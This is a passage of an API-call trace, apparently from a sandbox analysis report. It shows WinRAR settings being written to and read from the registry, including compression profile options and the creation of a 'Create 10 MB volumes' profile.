returned 0x0 [0058.232] SetLastError (dwErrCode=0x0) [0058.232] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.232] RegSetValueExW (in: hKey=0x218, lpValueName="EncryptHeaders", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.232] RegCloseKey (hKey=0x218) returned 0x0 [0058.232] GetLastError () returned 0x0 [0058.232] SetLastError (dwErrCode=0x0) [0058.232] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.232] RegSetValueExW (in: hKey=0x218, lpValueName="ZipLegacyEncrypt", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.232] RegCloseKey (hKey=0x218) returned 0x0 [0058.233] GetLastError () returned 0x0 [0058.233] SetLastError (dwErrCode=0x0) [0058.233] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.233] RegSetValueExW (in: hKey=0x218, lpValueName="OpenShared", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x1, cbData=0x4 | out: lpData=0xe414fb268*=0x1) returned 0x0 [0058.233] RegCloseKey (hKey=0x218) returned 0x0 [0058.233] GetLastError () returned 0x0 [0058.233] SetLastError (dwErrCode=0x0) [0058.233] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.233] RegSetValueExW (in: hKey=0x218, lpValueName="ProcessOwners", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.233] RegCloseKey (hKey=0x218) returned 0x0 [0058.233] GetLastError () returned 0x0 [0058.233] SetLastError (dwErrCode=0x0) [0058.233] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.233] RegSetValueExW (in: hKey=0x218, lpValueName="SaveStreams", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x1, cbData=0x4 | out: lpData=0xe414fb268*=0x1) returned 0x0 [0058.233] RegCloseKey (hKey=0x218) returned 0x0 [0058.233] GetLastError () returned 0x0 [0058.233] SetLastError (dwErrCode=0x0) [0058.233] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.233] RegSetValueExW (in: hKey=0x218, lpValueName="SaveSymLinks", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.233] RegCloseKey (hKey=0x218) returned 0x0 [0058.233] GetLastError () returned 0x0 [0058.233] SetLastError (dwErrCode=0x0) [0058.233] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.233] RegSetValueExW (in: hKey=0x218, lpValueName="SaveHardLinks", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.234] RegCloseKey (hKey=0x218) returned 0x0 [0058.234] GetLastError () returned 0x0 [0058.234] SetLastError (dwErrCode=0x0) [0058.234] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.234] RegSetValueExW (in: hKey=0x218, lpValueName="GenerateArcName", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x1, cbData=0x4 | out: lpData=0xe414fb268*=0x1) returned 0x0 [0058.234] RegCloseKey (hKey=0x218) returned 0x0 [0058.234] GetLastError () returned 0x0 [0058.234] SetLastError (dwErrCode=0x0) [0058.234] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.234] RegSetValueExW (in: hKey=0x218, lpValueName="VersionControl", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.234] RegCloseKey (hKey=0x218) returned 0x0 [0058.234] GetLastError () returned 0x0 [0058.234] SetLastError (dwErrCode=0x0) [0058.234] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.234] RegSetValueExW (in: hKey=0x218, lpValueName="BLAKE2", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.234] RegCloseKey (hKey=0x218) returned 0x0 [0058.234] GetLastError () returned 0x0 [0058.234] SetLastError (dwErrCode=0x0) [0058.234] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.234] RegSetValueExW (in: hKey=0x218, lpValueName="FileCopies", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.234] RegCloseKey (hKey=0x218) returned 0x0 [0058.234] GetLastError () returned 0x0 [0058.234] SetLastError (dwErrCode=0x0) [0058.235] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.235] RegSetValueExW (in: hKey=0x218, lpValueName="QuickOpen", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x1, cbData=0x4 | out: lpData=0xe414fb268*=0x1) returned 0x0 [0058.235] RegCloseKey (hKey=0x218) returned 0x0 [0058.235] GetLastError () returned 0x0 [0058.235] SetLastError (dwErrCode=0x0) [0058.235] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.235] RegSetValueExW (in: hKey=0x218, lpValueName="GenerateMask", Reserved=0x0, dwType=0x1, lpData="yyyymmddhhmmss", cbData=0x1e | out: lpData="yyyymmddhhmmss") returned 0x0 [0058.235] RegCloseKey (hKey=0x218) returned 0x0 [0058.235] GetLastError () returned 0x0 [0058.235] SetLastError (dwErrCode=0x0) [0058.235] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.235] RegSetValueExW (in: hKey=0x218, lpValueName="FileTimeMode", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.235] RegCloseKey (hKey=0x218) returned 0x0 [0058.235] GetLastError () returned 0x0 [0058.235] SetLastError (dwErrCode=0x0) [0058.235] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.235] RegSetValueExW (in: hKey=0x218, lpValueName="FileDays", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.235] RegCloseKey (hKey=0x218) returned 0x0 [0058.235] GetLastError () returned 0x0 [0058.235] SetLastError (dwErrCode=0x0) [0058.235] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.235] RegSetValueExW (in: hKey=0x218, lpValueName="FileHours", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.235] RegCloseKey (hKey=0x218) returned 0x0 [0058.236] GetLastError () returned 0x0 [0058.236] SetLastError (dwErrCode=0x0) [0058.236] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.236] RegSetValueExW (in: hKey=0x218, lpValueName="FileMinutes", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.236] RegCloseKey (hKey=0x218) returned 0x0 [0058.236] GetLastError () returned 0x0 [0058.236] SetLastError (dwErrCode=0x0) [0058.236] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.236] RegSetValueExW (in: hKey=0x218, lpValueName="FileTimeLimit", Reserved=0x0, dwType=0xb, lpData=0xe414fb268*=0x0, cbData=0x8 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.236] RegCloseKey (hKey=0x218) returned 0x0 [0058.236] GetLastError () returned 0x0 [0058.236] SetLastError (dwErrCode=0x0) [0058.236] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.236] RegSetValueExW (in: hKey=0x218, lpValueName="ArcTimeOriginal", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.236] RegCloseKey (hKey=0x218) returned 0x0 [0058.236] GetLastError () returned 0x0 [0058.236] SetLastError (dwErrCode=0x0) [0058.236] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.236] RegSetValueExW (in: hKey=0x218, lpValueName="ArcTimeLatest", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.236] RegCloseKey (hKey=0x218) returned 0x0 [0058.236] GetLastError () returned 0x0 [0058.236] SetLastError (dwErrCode=0x0) [0058.236] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.237] RegSetValueExW (in: hKey=0x218, lpValueName="mtime", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x4, cbData=0x4 | out: lpData=0xe414fb268*=0x4) returned 0x0 [0058.237] RegCloseKey (hKey=0x218) returned 0x0 [0058.237] GetLastError () returned 0x0 [0058.237] SetLastError (dwErrCode=0x0) [0058.237] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.237] RegSetValueExW (in: hKey=0x218, lpValueName="ctime", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.237] RegCloseKey (hKey=0x218) returned 0x0 [0058.237] GetLastError () returned 0x0 [0058.237] SetLastError (dwErrCode=0x0) [0058.237] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.237] RegSetValueExW (in: hKey=0x218, lpValueName="atime", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.237] RegCloseKey (hKey=0x218) returned 0x0 [0058.237] GetLastError () returned 0x0 [0058.237] SetLastError (dwErrCode=0x0) [0058.237] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.237] RegSetValueExW (in: hKey=0x218, lpValueName="PathsAbs", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.237] RegCloseKey (hKey=0x218) returned 0x0 [0058.237] GetLastError () returned 0x0 [0058.237] SetLastError (dwErrCode=0x0) [0058.237] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.273] RegSetValueExW (in: hKey=0x218, lpValueName="PathsNone", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.273] RegCloseKey (hKey=0x218) returned 0x0 [0058.273] GetLastError () returned 0x0 [0058.273] SetLastError (dwErrCode=0x0) [0058.273] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.273] RegSetValueExW (in: hKey=0x218, lpValueName="PathsAbsDrive", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.273] RegCloseKey (hKey=0x218) returned 0x0 [0058.273] GetLastError () returned 0x0 [0058.273] SetLastError (dwErrCode=0x0) [0058.273] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.273] RegSetValueExW (in: hKey=0x218, lpValueName="SeparateArc", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.273] RegCloseKey (hKey=0x218) returned 0x0 [0058.273] GetLastError () returned 0x0 [0058.273] SetLastError (dwErrCode=0x0) [0058.273] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.273] RegSetValueExW (in: hKey=0x218, lpValueName="SeparateArcDoubleExt", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.273] RegCloseKey (hKey=0x218) returned 0x0 [0058.273] GetLastError () returned 0x0 [0058.273] SetLastError (dwErrCode=0x0) [0058.273] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.273] RegSetValueExW (in: hKey=0x218, lpValueName="SeparateArcSubfolders", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.274] RegCloseKey (hKey=0x218) returned 0x0 [0058.274] GetLastError () returned 0x0 [0058.274] SetLastError (dwErrCode=0x0) [0058.274] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.274] RegSetValueExW (in: hKey=0x218, lpValueName="EmailArcTo", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.274] RegCloseKey (hKey=0x218) returned 0x0 [0058.274] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0xe414fad88, lpdwDisposition=0xe414fad80 | out: phkResult=0xe414fad88*=0x218, lpdwDisposition=0xe414fad80*=0x2) returned 0x0 [0058.274] RegSetValueExW (in: hKey=0x218, lpValueName="PackDetails", Reserved=0x0, dwType=0x3, lpData=0xe414fb2a0*, cbData=0xc0 | out: lpData=0xe414fb2a0*) returned 0x0 [0058.274] RegCloseKey (hKey=0x218) returned 0x0 [0058.274] GetCurrentProcess () returned 0xffffffffffffffff [0058.274] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0xe414fc8a0, lpSystemAffinityMask=0xe414fc8a8 | out: lpProcessAffinityMask=0xe414fc8a0, lpSystemAffinityMask=0xe414fc8a8) returned 1 [0058.274] GetCurrentProcess () returned 0xffffffffffffffff [0058.274] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0xe414fc900, lpSystemAffinityMask=0xe414fc908 | out: lpProcessAffinityMask=0xe414fc900, lpSystemAffinityMask=0xe414fc908) returned 1 [0058.274] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fc4b0 | out: phkResult=0xe414fc4b0*=0x218) returned 0x0 [0058.274] RegQueryValueExW (in: hKey=0x218, lpValueName="SMP", lpReserved=0x0, lpType=0xe414fc914, lpData=0xe414fc910, lpcbData=0xe414fc948*=0x4 | out: lpType=0xe414fc914*=0x0, lpData=0xe414fc910*=0x1, lpcbData=0xe414fc948*=0x4) returned 0x2 [0058.274] RegCloseKey (hKey=0x218) returned 0x0 [0058.274] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x3f9, lpBuffer=0x7ff6f7650230, cchBufferMax=512 | out: lpBuffer="Create 10 MB volumes") returned 0x14 [0058.274] GetLastError () returned 0x0 [0058.274] SetLastError (dwErrCode=0x0) [0058.275] GetLastError () returned 0x0 [0058.275] SetLastError (dwErrCode=0x0) [0058.275] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x1, phkResult=0xe414fa1c0 | out: phkResult=0xe414fa1c0*=0x218) returned 0x0 [0058.275] RegCloseKey (hKey=0x218) returned 0x0 [0058.275] GetLastError () returned 0x0 [0058.275] SetLastError (dwErrCode=0x0) [0058.275] GetLastError () returned 0x0 [0058.275] SetLastError (dwErrCode=0x0) [0058.275] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", ulOptions=0x0, samDesired=0x1, phkResult=0xe414fa1c0 | out: phkResult=0xe414fa1c0*=0x218) returned 0x0 [0058.275] RegCloseKey (hKey=0x218) returned 0x0 [0058.275] GetLastError () returned 0x0 [0058.275] SetLastError (dwErrCode=0x0) [0058.275] GetLastError () returned 0x0 [0058.275] SetLastError (dwErrCode=0x0) [0058.275] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", ulOptions=0x0, samDesired=0x1, phkResult=0xe414fa1c0 | out: phkResult=0xe414fa1c0*=0x218) returned 0x0 [0058.275] RegCloseKey (hKey=0x218) returned 0x0 [0058.275] GetLastError () returned 0x0 [0058.275] SetLastError (dwErrCode=0x0) [0058.275] GetLastError () returned 0x0 [0058.275] SetLastError (dwErrCode=0x0) [0058.275] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", ulOptions=0x0, samDesired=0x1, phkResult=0xe414fa1c0 | out: phkResult=0xe414fa1c0*=0x0) returned 0x2 [0058.275] GetLastError () returned 0x0 [0058.275] SetLastError (dwErrCode=0x0) [0058.275] GetLastError () returned 0x0 [0058.275] SetLastError (dwErrCode=0x0) [0058.275] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fa540 | out: phkResult=0xe414fa540*=0x218) returned 0x0 [0058.275] RegQueryValueExW (in: hKey=0x218, lpValueName="Name", lpReserved=0x0, lpType=0xe414fa9a4, lpData=0xe414fb510, lpcbData=0xe414fa9a0*=0x400 | out: lpType=0xe414fa9a4*=0x1, lpData="Default Profile", lpcbData=0xe414fa9a0*=0x20) returned 0x0 [0058.275] RegCloseKey (hKey=0x218) returned 0x0 [0058.275] GetLastError () returned 0x0 [0058.275] SetLastError (dwErrCode=0x0) [0058.275] GetLastError () returned 0x0 [0058.275] SetLastError (dwErrCode=0x0) [0058.275] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fa540 | out: phkResult=0xe414fa540*=0x218) returned 0x0 [0058.275] RegQueryValueExW (in: hKey=0x218, lpValueName="Name", lpReserved=0x0, lpType=0xe414fa9a4, lpData=0xe414fb510, lpcbData=0xe414fa9a0*=0x400 | out: lpType=0xe414fa9a4*=0x1, lpData="Create e-mail attachment", lpcbData=0xe414fa9a0*=0x32) returned 0x0 [0058.276] RegCloseKey (hKey=0x218) returned 0x0 [0058.276] GetLastError () returned 0x0 [0058.276] SetLastError (dwErrCode=0x0) [0058.276] GetLastError () returned 0x0 [0058.276] SetLastError (dwErrCode=0x0) [0058.276] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fa540 | out: phkResult=0xe414fa540*=0x218) returned 0x0 [0058.276] RegQueryValueExW (in: hKey=0x218, lpValueName="Name", lpReserved=0x0, lpType=0xe414fa9a4, lpData=0xe414fb510, lpcbData=0xe414fa9a0*=0x400 | out: lpType=0xe414fa9a4*=0x1, lpData="Backup selected files", lpcbData=0xe414fa9a0*=0x2c) returned 0x0 [0058.276] RegCloseKey (hKey=0x218) returned 0x0 [0058.276] GetLastError () returned 0x0 [0058.276] SetLastError (dwErrCode=0x0) [0058.276] GetLastError () returned 0x0 [0058.276] SetLastError (dwErrCode=0x0) [0058.276] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x1) returned 0x0 [0058.276] RegSetValueExW (in: hKey=0x218, lpValueName="Name", Reserved=0x0, dwType=0x1, lpData="Create 10 MB volumes", cbData=0x2a | out: lpData="Create 10 MB volumes") returned 0x0 [0058.276] RegCloseKey (hKey=0x218) returned 0x0 [0058.276] GetLastError () returned 0x0 [0058.276] SetLastError (dwErrCode=0x0) [0058.276] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | 